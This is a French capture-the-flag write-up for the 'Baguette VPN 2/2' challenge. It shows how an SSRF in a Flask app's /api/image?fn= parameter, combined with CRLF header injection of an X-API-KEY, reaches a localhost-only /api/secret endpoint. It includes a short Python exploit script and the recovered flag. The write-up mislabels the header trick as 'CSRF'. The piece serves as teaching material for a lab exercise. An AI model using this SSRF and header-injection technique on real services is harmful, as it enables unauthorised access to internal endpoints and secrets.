Solution
D’après la description, nous avons à faire à un service web.
Démarrage du challenge
Si vous avez continué le premier challenge Baguette VPN 1/2, vous voici sur la suite.
Vous devriez avoir :
- Le Docker instancié,
- Le fichier Python.
Etude du fichier Python
Démarrons par l’étude du fichier Python.
En regardant le routing de l’application Flask, nous voyons qu’il y a un endpoint /api/secret
. Dès lors que vous tentez d’y accéder, le serveur vous dit que vous n’êtes pas identifiés avec la bonne adresse IP.
En effet, vous devez être 127.0.0.1, soit l’application elle même. Il y a une vulnérabilité connue des experts qui permet d’injecter du code arbitraire exécuter par une application web qui est SSRF (Server-Side Request Forgery).
Donc, cette vulnérabilité permet d’accéder à une URL via l’application web. Pour ce faire, nous constatons et nous rappelons qu’il y a une zone permettant d’accéder à une image sur le serveur.
Pratique ! Cette partie du code nous permet d’accéder à une image par méthode GET via l’adresse http://baguette-cpn-cdn
donc 127.0.0.1.
Fabriquons notre requêtes.
- Endpoint de la partie vulnérable
- Utilisation de l’argument fn
- Utilisation d’une URL faussant l’image
http://localhost:8000/api/image?fn=.localhost:1337/api/secret
Maintenant que nous avons notre SSRF, il va falloir l’envoyer au serveur mais, nous avons vu qu’en plus de l’adresse IP 127.0.0.1 il faut que nous ajoutions une entête X-API-KEY: b99cc420eb25205168e83190bae48a12
. Il va donc falloir utiliser une deuxième technique, CSRF. Dans ma solution je vais utiliser la technique de Python.
Exploitation
import requests
host = "localhost:8000/api/image?fn=.localhost:1337/api/secret"
payload = " HTTP/1.1\r\nX-API-KEY: b99cc420eb25205168e83190bae48a12\r\nlocalhost:1337"
url = "http://" + host + payload
r = requests.get(url)
print(r.text)
Puis on exécute.
$ pyhton3 exploit.py
{"secret":"FCSC{6e86560231bae31b04948823e8d56fac5f1704aaeecf72b0c03bfe742d59fdfb}"}